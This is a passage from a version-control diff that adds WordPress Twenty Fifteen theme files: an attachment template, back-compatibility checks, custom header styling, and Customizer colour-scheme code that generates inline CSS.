+								$image_size = apply_filters( 'twentyfifteen_attachment_size', 'large' );
+
+								echo wp_get_attachment_image( get_the_ID(), $image_size );
+							?>
+
+							<?php if ( has_excerpt() ) : ?>
+								<div class="entry-caption">
+									<?php the_excerpt(); ?>
+								</div><!-- .entry-caption -->
+							<?php endif; ?>
+
+						</div><!-- .entry-attachment -->
+
+						<?php
+							the_content();
+							wp_link_pages( array(
+								'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfifteen' ) . '</span>',
+								'after'       => '</div>',
+								'link_before' => '<span>',
+								'link_after'  => '</span>',
+								'pagelink'    => '<span class="screen-reader-text">' . __( 'Page', 'twentyfifteen' ) . ' </span>%',
+								'separator'   => '<span class="screen-reader-text">, </span>',
+							) );
+						?>
+					</div><!-- .entry-content -->
+
+					<footer class="entry-footer">
+						<?php twentyfifteen_entry_meta(); ?>
+						<?php edit_post_link( __( 'Edit', 'twentyfifteen' ), '<span class="edit-link">', '</span>' ); ?>
+					</footer><!-- .entry-footer -->
+
+				</article><!-- #post-## -->
+
+				<?php
+					// If comments are open or we have at least one comment, load up the comment template
+					if ( comments_open() || get_comments_number() ) :
+						comments_template();
+					endif;
+
+					// Previous/next post navigation.
+					the_post_navigation( array(
+						'prev_text' => _x( '<span class="meta-nav">Published in</span><span class="post-title">%title</span>', 'Parent post link', 'twentyfifteen' ),
+					) );
+
+				// End the loop.
+				endwhile;
+			?>
+
+		</main><!-- .site-main -->
+	</div><!-- .content-area -->
+
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/inc/back-compat.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/inc/back-compat.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/inc/back-compat.php	(revision 56912)
@@ -0,0 +1,63 @@
+<?php
+/**
+ * Twenty Fifteen back compat functionality
+ *
+ * Prevents Twenty Fifteen from running on WordPress versions prior to 4.1,
+ * since this theme is not meant to be backward compatible beyond that and
+ * relies on many newer functions and markup changes introduced in 4.1.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+/**
+ * Prevent switching to Twenty Fifteen on old versions of WordPress.
+ *
+ * Switches to the default theme.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_switch_theme() {
+	switch_theme( WP_DEFAULT_THEME, WP_DEFAULT_THEME );
+	unset( $_GET['activated'] );
+	add_action( 'admin_notices', 'twentyfifteen_upgrade_notice' );
+}
+add_action( 'after_switch_theme', 'twentyfifteen_switch_theme' );
+
+/**
+ * Add message for unsuccessful theme switch.
+ *
+ * Prints an update nag after an unsuccessful attempt to switch to
+ * Twenty Fifteen on WordPress versions prior to 4.1.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_upgrade_notice() {
+	$message = sprintf( __( 'Twenty Fifteen requires at least WordPress version 4.1. You are running version %s. Please upgrade and try again.', 'twentyfifteen' ), $GLOBALS['wp_version'] );
+	printf( '<div class="error"><p>%s</p></div>', $message );
+}
+
+/**
+ * Prevent the Customizer from being loaded on WordPress versions prior to 4.1.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_customize() {
+	wp_die( sprintf( __( 'Twenty Fifteen requires at least WordPress version 4.1. You are running version %s. Please upgrade and try again.', 'twentyfifteen' ), $GLOBALS['wp_version'] ), '', array(
+		'back_link' => true,
+	) );
+}
+add_action( 'load-customize.php', 'twentyfifteen_customize' );
+
+/**
+ * Prevent the Theme Preview from being loaded on WordPress versions prior to 4.1.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_preview() {
+	if ( isset( $_GET['preview'] ) ) {
+		wp_die( sprintf( __( 'Twenty Fifteen requires at least WordPress version 4.1. You are running version %s. Please upgrade and try again.', 'twentyfifteen' ), $GLOBALS['wp_version'] ) );
+	}
+}
+add_action( 'template_redirect', 'twentyfifteen_preview' );
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/inc/custom-header.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/inc/custom-header.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/inc/custom-header.php	(revision 56912)
@@ -0,0 +1,370 @@
+<?php
+/**
+ * Custom Header functionality for Twenty Fifteen
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+/**
+ * Set up the WordPress core custom header feature.
+ *
+ * @uses twentyfifteen_header_style()
+ */
+function twentyfifteen_custom_header_setup() {
+	$color_scheme        = twentyfifteen_get_color_scheme();
+	$default_text_color  = trim( $color_scheme[4], '#' );
+
+	/**
+	 * Filter Twenty Fifteen custom-header support arguments.
+	 *
+	 * @since Twenty Fifteen 1.0
+	 *
+	 * @param array $args {
+	 *     An array of custom-header support arguments.
+	 *
+	 *     @type string $default_text_color     Default color of the header text.
+	 *     @type int    $width                  Width in pixels of the custom header image. Default 954.
+	 *     @type int    $height                 Height in pixels of the custom header image. Default 1300.
+	 *     @type string $wp-head-callback       Callback function used to styles the header image and text
+	 *                                          displayed on the blog.
+	 * }
+	 */
+	add_theme_support( 'custom-header', apply_filters( 'twentyfifteen_custom_header_args', array(
+		'default-text-color'     => $default_text_color,
+		'width'                  => 954,
+		'height'                 => 1300,
+		'wp-head-callback'       => 'twentyfifteen_header_style',
+	) ) );
+}
+add_action( 'after_setup_theme', 'twentyfifteen_custom_header_setup' );
+
+/**
+ * Convert HEX to RGB.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @param string $color The original color, in 3- or 6-digit hexadecimal form.
+ * @return array Array containing RGB (red, green, and blue) values for the given
+ *               HEX code, empty array otherwise.
+ */
+function twentyfifteen_hex2rgb( $color ) {
+	$color = trim( $color, '#' );
+
+	if ( strlen( $color ) == 3 ) {
+		$r = hexdec( substr( $color, 0, 1 ).substr( $color, 0, 1 ) );
+		$g = hexdec( substr( $color, 1, 1 ).substr( $color, 1, 1 ) );
+		$b = hexdec( substr( $color, 2, 1 ).substr( $color, 2, 1 ) );
+	} else if ( strlen( $color ) == 6 ) {
+		$r = hexdec( substr( $color, 0, 2 ) );
+		$g = hexdec( substr( $color, 2, 2 ) );
+		$b = hexdec( substr( $color, 4, 2 ) );
+	} else {
+		return array();
+	}
+
+	return array( 'red' => $r, 'green' => $g, 'blue' => $b );
+}
+
+if ( ! function_exists( 'twentyfifteen_header_style' ) ) :
+/**
+ * Styles the header image and text displayed on the blog.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @see twentyfifteen_custom_header_setup()
+ */
+function twentyfifteen_header_style() {
+	$header_image = get_header_image();
+
+	// If no custom options for text are set, let's bail.
+	if ( empty( $header_image ) && display_header_text() ) {
+		return;
+	}
+
+	// If we get this far, we have custom styles. Let's do this.
+	?>
+	<style type="text/css" id="twentyfifteen-header-css">
+	<?php
+		// Short header for when there is no Custom Header and Header Text is hidden.
+		if ( empty( $header_image ) && ! display_header_text() ) :
+	?>
+		.site-header {
+			padding-top: 14px;
+			padding-bottom: 14px;
+		}
+
+		.site-branding {
+			min-height: 42px;
+		}
+
+		@media screen and (min-width: 46.25em) {
+			.site-header {
+				padding-top: 21px;
+				padding-bottom: 21px;
+			}
+			.site-branding {
+				min-height: 56px;
+			}
+		}
+		@media screen and (min-width: 55em) {
+			.site-header {
+				padding-top: 25px;
+				padding-bottom: 25px;
+			}
+			.site-branding {
+				min-height: 62px;
+			}
+		}
+		@media screen and (min-width: 59.6875em) {
+			.site-header {
+				padding-top: 0;
+				padding-bottom: 0;
+			}
+			.site-branding {
+				min-height: 0;
+			}
+		}
+	<?php
+		endif;
+
+		// Has a Custom Header been added?
+		if ( ! empty( $header_image ) ) :
+	?>
+		.site-header {
+
+			/*
+			 * No shorthand so the Customizer can override individual properties.
+			 * @see https://core.trac.wordpress.org/ticket/31460
+			 */
+			background-image: url(<?php header_image(); ?>);
+			background-repeat: no-repeat;
+			background-position: 50% 50%;
+			-webkit-background-size: cover;
+			-moz-background-size:    cover;
+			-o-background-size:      cover;
+			background-size:         cover;
+		}
+
+		@media screen and (min-width: 59.6875em) {
+			body:before {
+
+				/*
+				 * No shorthand so the Customizer can override individual properties.
+				 * @see https://core.trac.wordpress.org/ticket/31460
+				 */
+				background-image: url(<?php header_image(); ?>);
+				background-repeat: no-repeat;
+				background-position: 100% 50%;
+				-webkit-background-size: cover;
+				-moz-background-size:    cover;
+				-o-background-size:      cover;
+				background-size:         cover;
+				border-right: 0;
+			}
+
+			.site-header {
+				background: transparent;
+			}
+		}
+	<?php
+		endif;
+
+		// Has the text been hidden?
+		if ( ! display_header_text() ) :
+	?>
+		.site-title,
+		.site-description {
+			clip: rect(1px, 1px, 1px, 1px);
+			position: absolute;
+		}
+	<?php endif; ?>
+	</style>
+	<?php
+}
+endif; // twentyfifteen_header_style
+
+/**
+ * Enqueues front-end CSS for the header background color.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @see wp_add_inline_style()
+ */
+function twentyfifteen_header_background_color_css() {
+	$color_scheme            = twentyfifteen_get_color_scheme();
+	$default_color           = $color_scheme[1];
+	$header_background_color = get_theme_mod( 'header_background_color', $default_color );
+
+	// Don't do anything if the current color is the default.
+	if ( $header_background_color === $default_color ) {
+		return;
+	}
+
+	$css = '
+		/* Custom Header Background Color */
+		body:before,
+		.site-header {
+			background-color: %1$s;
+		}
+
+		@media screen and (min-width: 59.6875em) {
+			.site-header,
+			.secondary {
+				background-color: transparent;
+			}
+
+			.widget button,
+			.widget input[type="button"],
+			.widget input[type="reset"],
+			.widget input[type="submit"],
+			.widget_calendar tbody a,
+			.widget_calendar tbody a:hover,
+			.widget_calendar tbody a:focus {
+				color: %1$s;
+			}
+		}
+	';
+
+	wp_add_inline_style( 'twentyfifteen-style', sprintf( $css, $header_background_color ) );
+}
+add_action( 'wp_enqueue_scripts', 'twentyfifteen_header_background_color_css', 11 );
+
+/**
+ * Enqueues front-end CSS for the sidebar text color.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_sidebar_text_color_css() {
+	$color_scheme       = twentyfifteen_get_color_scheme();
+	$default_color      = $color_scheme[4];
+	$sidebar_link_color = get_theme_mod( 'sidebar_textcolor', $default_color );
+
+	// Don't do anything if the current color is the default.
+	if ( $sidebar_link_color === $default_color ) {
+		return;
+	}
+
+	// If we get this far, we have custom styles. Let's do this.
+	$sidebar_link_color_rgb     = twentyfifteen_hex2rgb( $sidebar_link_color );
+	$sidebar_text_color         = vsprintf( 'rgba( %1$s, %2$s, %3$s, 0.7)', $sidebar_link_color_rgb );
+	$sidebar_border_color       = vsprintf( 'rgba( %1$s, %2$s, %3$s, 0.1)', $sidebar_link_color_rgb );
+	$sidebar_border_focus_color = vsprintf( 'rgba( %1$s, %2$s, %3$s, 0.3)', $sidebar_link_color_rgb );
+
+	$css = '
+		/* Custom Sidebar Text Color */
+		.site-title a,
+		.site-description,
+		.secondary-toggle:before {
+			color: %1$s;
+		}
+
+		.site-title a:hover,
+		.site-title a:focus {
+			color: %1$s; /* Fallback for IE7 and IE8 */
+			color: %2$s;
+		}
+
+		.secondary-toggle {
+			border-color: %1$s; /* Fallback for IE7 and IE8 */
+			border-color: %3$s;
+		}
+
+		.secondary-toggle:hover,
+		.secondary-toggle:focus {
+			border-color: %1$s; /* Fallback for IE7 and IE8 */
+			border-color: %4$s;
+		}
+
+		.site-title a {
+			outline-color: %1$s; /* Fallback for IE7 and IE8 */
+			outline-color: %4$s;
+		}
+
+		@media screen and (min-width: 59.6875em) {
+			.secondary a,
+			.dropdown-toggle:after,
+			.widget-title,
+			.widget blockquote cite,
+			.widget blockquote small {
+				color: %1$s;
+			}
+
+			.widget button,
+			.widget input[type="button"],
+			.widget input[type="reset"],
+			.widget input[type="submit"],
+			.widget_calendar tbody a {
+				background-color: %1$s;
+			}
+
+			.textwidget a {
+				border-color: %1$s;
+			}
+
+			.secondary a:hover,
+			.secondary a:focus,
+			.main-navigation .menu-item-description,
+			.widget,
+			.widget blockquote,
+			.widget .wp-caption-text,
+			.widget .gallery-caption {
+				color: %2$s;
+			}
+
+			.widget button:hover,
+			.widget button:focus,
+			.widget input[type="button"]:hover,
+			.widget input[type="button"]:focus,
+			.widget input[type="reset"]:hover,
+			.widget input[type="reset"]:focus,
+			.widget input[type="submit"]:hover,
+			.widget input[type="submit"]:focus,
+			.widget_calendar tbody a:hover,
+			.widget_calendar tbody a:focus {
+				background-color: %2$s;
+			}
+
+			.widget blockquote {
+				border-color: %2$s;
+			}
+
+			.main-navigation ul,
+			.main-navigation li,
+			.secondary-toggle,
+			.widget input,
+			.widget textarea,
+			.widget table,
+			.widget th,
+			.widget td,
+			.widget pre,
+			.widget li,
+			.widget_categories .children,
+			.widget_nav_menu .sub-menu,
+			.widget_pages .children,
+			.widget abbr[title] {
+				border-color: %3$s;
+			}
+
+			.dropdown-toggle:hover,
+			.dropdown-toggle:focus,
+			.widget hr {
+				background-color: %3$s;
+			}
+
+			.widget input:focus,
+			.widget textarea:focus {
+				border-color: %4$s;
+			}
+
+			.sidebar a:focus,
+			.dropdown-toggle:focus {
+				outline-color: %4$s;
+			}
+		}
+	';
+
+	wp_add_inline_style( 'twentyfifteen-style', sprintf( $css, $sidebar_link_color, $sidebar_text_color, $sidebar_border_color, $sidebar_border_focus_color ) );
+}
+add_action( 'wp_enqueue_scripts', 'twentyfifteen_sidebar_text_color_css', 11 );
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/inc/customizer.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/inc/customizer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/inc/customizer.php	(revision 56912)
@@ -0,0 +1,773 @@
+<?php
+/**
+ * Twenty Fifteen Customizer functionality
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+/**
+ * Add postMessage support for site title and description for the Customizer.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @param WP_Customize_Manager $wp_customize Customizer object.
+ */
+function twentyfifteen_customize_register( $wp_customize ) {
+	$color_scheme = twentyfifteen_get_color_scheme();
+
+	$wp_customize->get_setting( 'blogname' )->transport        = 'postMessage';
+	$wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage';
+
+	if ( isset( $wp_customize->selective_refresh ) ) {
+		$wp_customize->selective_refresh->add_partial( 'blogname', array(
+			'selector' => '.site-title a',
+			'container_inclusive' => false,
+			'render_callback' => 'twentyfifteen_customize_partial_blogname',
+		) );
+		$wp_customize->selective_refresh->add_partial( 'blogdescription', array(
+			'selector' => '.site-description',
+			'container_inclusive' => false,
+			'render_callback' => 'twentyfifteen_customize_partial_blogdescription',
+		) );
+	}
+
+	// Add color scheme setting and control.
+	$wp_customize->add_setting( 'color_scheme', array(
+		'default'           => 'default',
+		'sanitize_callback' => 'twentyfifteen_sanitize_color_scheme',
+		'transport'         => 'postMessage',
+	) );
+
+	$wp_customize->add_control( 'color_scheme', array(
+		'label'    => __( 'Base Color Scheme', 'twentyfifteen' ),
+		'section'  => 'colors',
+		'type'     => 'select',
+		'choices'  => twentyfifteen_get_color_scheme_choices(),
+		'priority' => 1,
+	) );
+
+	// Add custom header and sidebar text color setting and control.
+	$wp_customize->add_setting( 'sidebar_textcolor', array(
+		'default'           => $color_scheme[4],
+		'sanitize_callback' => 'sanitize_hex_color',
+		'transport'         => 'postMessage',
+	) );
+
+	$wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'sidebar_textcolor', array(
+		'label'       => __( 'Header and Sidebar Text Color', 'twentyfifteen' ),
+		'description' => __( 'Applied to the header on small screens and the sidebar on wide screens.', 'twentyfifteen' ),
+		'section'     => 'colors',
+	) ) );
+
+	// Remove the core header textcolor control, as it shares the sidebar text color.
+	$wp_customize->remove_control( 'header_textcolor' );
+
+	// Add custom header and sidebar background color setting and control.
+	$wp_customize->add_setting( 'header_background_color', array(
+		'default'           => $color_scheme[1],
+		'sanitize_callback' => 'sanitize_hex_color',
+		'transport'         => 'postMessage',
+	) );
+
+	$wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'header_background_color', array(
+		'label'       => __( 'Header and Sidebar Background Color', 'twentyfifteen' ),
+		'description' => __( 'Applied to the header on small screens and the sidebar on wide screens.', 'twentyfifteen' ),
+		'section'     => 'colors',
+	) ) );
+
+	// Add an additional description to the header image section.
+	$wp_customize->get_section( 'header_image' )->description = __( 'Applied to the header on small screens and the sidebar on wide screens.', 'twentyfifteen' );
+}
+add_action( 'customize_register', 'twentyfifteen_customize_register', 11 );
+
+/**
+ * Render the site title for the selective refresh partial.
+ *
+ * @since Twenty Fifteen 1.5
+ * @see twentyfifteen_customize_register()
+ *
+ * @return void
+ */
+function twentyfifteen_customize_partial_blogname() {
+	bloginfo( 'name' );
+}
+
+/**
+ * Render the site tagline for the selective refresh partial.
+ *
+ * @since Twenty Fifteen 1.5
+ * @see twentyfifteen_customize_register()
+ *
+ * @return void
+ */
+function twentyfifteen_customize_partial_blogdescription() {
+	bloginfo( 'description' );
+}
+
+/**
+ * Register color schemes for Twenty Fifteen.
+ *
+ * Can be filtered with {@see 'twentyfifteen_color_schemes'}.
+ *
+ * The order of colors in a colors array:
+ * 1. Main Background Color.
+ * 2. Sidebar Background Color.
+ * 3. Box Background Color.
+ * 4. Main Text and Link Color.
+ * 5. Sidebar Text and Link Color.
+ * 6. Meta Box Background Color.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @return array An associative array of color scheme options.
+ */
+function twentyfifteen_get_color_schemes() {
+	/**
+	 * Filter the color schemes registered for use with Twenty Fifteen.
+	 *
+	 * The default schemes include 'default', 'dark', 'yellow', 'pink', 'purple', and 'blue'.
+	 *
+	 * @since Twenty Fifteen 1.0
+	 *
+	 * @param array $schemes {
+	 *     Associative array of color schemes data.
+	 *
+	 *     @type array $slug {
+	 *         Associative array of information for setting up the color scheme.
+	 *
+	 *         @type string $label  Color scheme label.
+	 *         @type array  $colors HEX codes for default colors prepended with a hash symbol ('#').
+	 *                              Colors are defined in the following order: Main background, sidebar
+	 *                              background, box background, main text and link, sidebar text and link,
+	 *                              meta box background.
+	 *     }
+	 * }
+	 */
+	return apply_filters( 'twentyfifteen_color_schemes', array(
+		'default' => array(
+			'label'  => __( 'Default', 'twentyfifteen' ),
+			'colors' => array(
+				'#f1f1f1',
+				'#ffffff',
+				'#ffffff',
+				'#333333',
+				'#333333',
+				'#f7f7f7',
+			),
+		),
+		'dark'    => array(
+			'label'  => __( 'Dark', 'twentyfifteen' ),
+			'colors' => array(
+				'#111111',
+				'#202020',
+				'#202020',
+				'#bebebe',
+				'#bebebe',
+				'#1b1b1b',
+			),
+		),
+		'yellow'  => array(
+			'label'  => __( 'Yellow', 'twentyfifteen' ),
+			'colors' => array(
+				'#f4ca16',
+				'#ffdf00',
+				'#ffffff',
+				'#111111',
+				'#111111',
+				'#f1f1f1',
+			),
+		),
+		'pink'    => array(
+			'label'  => __( 'Pink', 'twentyfifteen' ),
+			'colors' => array(
+				'#ffe5d1',
+				'#e53b51',
+				'#ffffff',
+				'#352712',
+				'#ffffff',
+				'#f1f1f1',
+			),
+		),
+		'purple'  => array(
+			'label'  => __( 'Purple', 'twentyfifteen' ),
+			'colors' => array(
+				'#674970',
+				'#2e2256',
+				'#ffffff',
+				'#2e2256',
+				'#ffffff',
+				'#f1f1f1',
+			),
+		),
+		'blue'   => array(
+			'label'  => __( 'Blue', 'twentyfifteen' ),
+			'colors' => array(
+				'#e9f2f9',
+				'#55c3dc',
+				'#ffffff',
+				'#22313f',
+				'#ffffff',
+				'#f1f1f1',
+			),
+		),
+	) );
+}
+
+if ( ! function_exists( 'twentyfifteen_get_color_scheme' ) ) :
+/**
+ * Get the current Twenty Fifteen color scheme.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @return array An associative array of either the current or default color scheme hex values.
+ */
+function twentyfifteen_get_color_scheme() {
+	$color_scheme_option = get_theme_mod( 'color_scheme', 'default' );
+	$color_schemes       = twentyfifteen_get_color_schemes();
+
+	if ( array_key_exists( $color_scheme_option, $color_schemes ) ) {
+		return $color_schemes[ $color_scheme_option ]['colors'];
+	}
+
+	return $color_schemes['default']['colors'];
+}
+endif; // twentyfifteen_get_color_scheme
+
+if ( ! function_exists( 'twentyfifteen_get_color_scheme_choices' ) ) :
+/**
+ * Returns an array of color scheme choices registered for Twenty Fifteen.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @return array Array of color schemes.
+ */
+function twentyfifteen_get_color_scheme_choices() {
+	$color_schemes                = twentyfifteen_get_color_schemes();
+	$color_scheme_control_options = array();
+
+	foreach ( $color_schemes as $color_scheme => $value ) {
+		$color_scheme_control_options[ $color_scheme ] = $value['label'];
+	}
+
+	return $color_scheme_control_options;
+}
+endif; // twentyfifteen_get_color_scheme_choices
+
+if ( ! function_exists( 'twentyfifteen_sanitize_color_scheme' ) ) :
+/**
+ * Sanitization callback for color schemes.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @param string $value Color scheme name value.
+ * @return string Color scheme name.
+ */
+function twentyfifteen_sanitize_color_scheme( $value ) {
+	$color_schemes = twentyfifteen_get_color_scheme_choices();
+
+	if ( ! array_key_exists( $value, $color_schemes ) ) {
+		$value = 'default';
+	}
+
+	return $value;
+}
+endif; // twentyfifteen_sanitize_color_scheme
+
+/**
+ * Enqueues front-end CSS for color scheme.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @see wp_add_inline_style()
+ */
+function twentyfifteen_color_scheme_css() {
+	$color_scheme_option = get_theme_mod( 'color_scheme', 'default' );
+
+	// Don't do anything if the default color scheme is selected.
+	if ( 'default' === $color_scheme_option ) {
+		return;
+	}
+
+	$color_scheme = twentyfifteen_get_color_scheme();
+
+	// Convert main and sidebar text hex color to rgba.
+	$color_textcolor_rgb         = twentyfifteen_hex2rgb( $color_scheme[3] );
+	$color_sidebar_textcolor_rgb = twentyfifteen_hex2rgb( $color_scheme[4] );
+	$colors = array(
+		'background_color'            => $color_scheme[0],
+		'header_background_color'     => $color_scheme[1],
+		'box_background_color'        => $color_scheme[2],
+		'textcolor'                   => $color_scheme[3],
+		'secondary_textcolor'         => vsprintf( 'rgba( %1$s, %2$s, %3$s, 0.7)', $color_textcolor_rgb ),
+		'border_color'                => vsprintf( 'rgba( %1$s, %2$s, %3$s, 0.1)', $color_textcolor_rgb ),
+		'border_focus_color'          => vsprintf( 'rgba( %1$s, %2$s, %3$s, 0.3)', $color_textcolor_rgb ),
+		'sidebar_textcolor'           => $color_scheme[4],
+		'sidebar_border_color'        => vsprintf( 'rgba( %1$s, %2$s, %3$s, 0.1)', $color_sidebar_textcolor_rgb ),
+		'sidebar_border_focus_color'  => vsprintf( 'rgba( %1$s, %2$s, %3$s, 0.3)', $color_sidebar_textcolor_rgb ),
+		'secondary_sidebar_textcolor' => vsprintf( 'rgba( %1$s, %2$s, %3$s, 0.7)', $color_sidebar_textcolor_rgb ),
+		'meta_box_background_color'   => $color_scheme[5],
+	);
+
+	$color_scheme_css = twentyfifteen_get_color_scheme_css( $colors );
+
+	wp_add_inline_style( 'twentyfifteen-style', $color_scheme_css );
+}
+add_action( 'wp_enqueue_scripts', 'twentyfifteen_color_scheme_css' );
+
+/**
+ * Binds JS listener to make Customizer color_scheme control.
+ *
+ * Passes color scheme data as colorScheme global.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_customize_control_js() {
+	wp_enqueue_script( 'color-scheme-control', get_template_directory_uri() . '/js/color-scheme-control.js', array( 'customize-controls', 'iris', 'underscore', 'wp-util' ), '20141216', true );
+	wp_localize_script( 'color-scheme-control', 'colorScheme', twentyfifteen_get_color_schemes() );
+}
+add_action( 'customize_controls_enqueue_scripts', 'twentyfifteen_customize_control_js' );
+
+/**
+ * Binds JS handlers to make the Customizer preview reload changes asynchronously.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_customize_preview_js() {
+	wp_enqueue_script( 'twentyfifteen-customize-preview', get_template_directory_uri() . '/js/customize-preview.js', array( 'customize-preview' ), '20141216', true );
+}
+add_action( 'customize_preview_init', 'twentyfifteen_customize_preview_js' );
+
+/**
+ * Returns CSS for the color schemes.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @param array $colors Color scheme colors.
+ * @return string Color scheme CSS.
+ */
+function twentyfifteen_get_color_scheme_css( $colors ) {
+	$colors = wp_parse_args( $colors, array(
+		'background_color'            => '',
+		'header_background_color'     => '',
+		'box_background_color'        => '',
+		'textcolor'                   => '',
+		'secondary_textcolor'         => '',
+		'border_color'                => '',
+		'border_focus_color'          => '',
+		'sidebar_textcolor'           => '',
+		'sidebar_border_color'        => '',
+		'sidebar_border_focus_color'  => '',
+		'secondary_sidebar_textcolor' => '',
+		'meta_box_background_color'   => '',
+	) );
+
+	$css = <<<CSS
+	/* Color Scheme */
+
+	/* Background Color */
+	body {
+		background-color: {$colors['background_color']};
+	}
+
+	/* Sidebar Background Color */
+	body:before,
+	.site-header {
+		background-color: {$colors['header_background_color']};
+	}
+
+	/* Box Background Color */
+	.post-navigation,
+	.pagination,
+	.secondary,
+	.site-footer,
+	.hentry,
+	.page-header,
+	.page-content,
+	.comments-area,
+	.widecolumn {
+		background-color: {$colors['box_background_color']};
+	}
+
+	/* Box Background Color */
+	button,
+	input[type="button"],
+	input[type="reset"],
+	input[type="submit"],
+	.pagination .prev,
+	.pagination .next,
+	.widget_calendar tbody a,
+	.widget_calendar tbody a:hover,
+	.widget_calendar tbody a:focus,
+	.page-links a,
+	.page-links a:hover,
+	.page-links a:focus,
+	.sticky-post {
+		color: {$colors['box_background_color']};
+	}
+
+	/* Main Text Color */
+	button,
+	input[type="button"],
+	input[type="reset"],
+	input[type="submit"],
+	.pagination .prev,
+	.pagination .next,
+	.widget_calendar tbody a,
+	.page-links a,
+	.sticky-post {
+		background-color: {$colors['textcolor']};
+	}
+
+	/* Main Text Color */
+	body,
+	blockquote cite,
+	blockquote small,
+	a,
+	.dropdown-toggle:after,
+	.image-navigation a:hover,
+	.image-navigation a:focus,
+	.comment-navigation a:hover,
+	.comment-navigation a:focus,
+	.widget-title,
+	.entry-footer a:hover,
+	.entry-footer a:focus,
+	.comment-metadata a:hover,
+	.comment-metadata a:focus,
+	.pingback .edit-link a:hover,
+	.pingback .edit-link a:focus,
+	.comment-list .reply a:hover,
+	.comment-list .reply a:focus,
+	.site-info a:hover,
+	.site-info a:focus {
+		color: {$colors['textcolor']};
+	}
+
+	/* Main Text Color */
+	.entry-content a,
+	.entry-summary a,
+	.page-content a,
+	.comment-content a,
+	.pingback .comment-body > a,
+	.author-description a,
+	.taxonomy-description a,
+	.textwidget a,
+	.entry-footer a:hover,
+	.comment-metadata a:hover,
+	.pingback .edit-link a:hover,
+	.comment-list .reply a:hover,
+	.site-info a:hover {
+		border-color: {$colors['textcolor']};
+	}
+
+	/* Secondary Text Color */
+	button:hover,
+	button:focus,
+	input[type="button"]:hover,
+	input[type="button"]:focus,
+	input[type="reset"]:hover,
+	input[type="reset"]:focus,
+	input[type="submit"]:hover,
+	input[type="submit"]:focus,
+	.pagination .prev:hover,
+	.pagination .prev:focus,
+	.pagination .next:hover,
+	.pagination .next:focus,
+	.widget_calendar tbody a:hover,
+	.widget_calendar tbody a:focus,
+	.page-links a:hover,
+	.page-links a:focus {
+		background-color: {$colors['textcolor']}; /* Fallback for IE7 and IE8 */
+		background-color: {$colors['secondary_textcolor']};
+	}
+
+	/* Secondary Text Color */
+	blockquote,
+	a:hover,
+	a:focus,
+	.main-navigation .menu-item-description,
+	.post-navigation .meta-nav,
+	.post-navigation a:hover .post-title,
+	.post-navigation a:focus .post-title,
+	.image-navigation,
+	.image-navigation a,
+	.comment-navigation,
+	.comment-navigation a,
+	.widget,
+	.author-heading,
+	.entry-footer,
+	.entry-footer a,
+	.taxonomy-description,
+	.page-links > .page-links-title,
+	.entry-caption,
+	.comment-author,
+	.comment-metadata,
+	.comment-metadata a,
+	.pingback .edit-link,
+	.pingback .edit-link a,
+	.post-password-form label,
+	.comment-form label,
+	.comment-notes,
+	.comment-awaiting-moderation,
+	.logged-in-as,
+	.form-allowed-tags,
+	.no-comments,
+	.site-info,
+	.site-info a,
+	.wp-caption-text,
+	.gallery-caption,
+	.comment-list .reply a,
+	.widecolumn label,
+	.widecolumn .mu_register label {
+		color: {$colors['textcolor']}; /* Fallback for IE7 and IE8 */
+		color: {$colors['secondary_textcolor']};
+	}
+
+	/* Secondary Text Color */
+	blockquote,
+	.logged-in-as a:hover,
+	.comment-author a:hover {
+		border-color: {$colors['textcolor']}; /* Fallback for IE7 and IE8 */
+		border-color: {$colors['secondary_textcolor']};
+	}
+
+	/* Border Color */
+	hr,
+	.dropdown-toggle:hover,
+	.dropdown-toggle:focus {
+		background-color: {$colors['textcolor']}; /* Fallback for IE7 and IE8 */
+		background-color: {$colors['border_color']};
+	}
+
+	/* Border Color */
+	pre,
+	abbr[title],
+	table,
+	th,
+	td,
+	input,
+	textarea,
+	.main-navigation ul,
+	.main-navigation li,
+	.post-navigation,
+	.post-navigation div + div,
+	.pagination,
+	.comment-navigation,
+	.widget li,
+	.widget_categories .children,
+	.widget_nav_menu .sub-menu,
+	.widget_pages .children,
+	.site-header,
+	.site-footer,
+	.hentry + .hentry,
+	.author-info,
+	.entry-content .page-links a,
+	.page-links > span,
+	.page-header,
+	.comments-area,
+	.comment-list + .comment-respond,
+	.comment-list article,
+	.comment-list .pingback,
+	.comment-list .trackback,
+	.comment-list .reply a,
+	.no-comments {
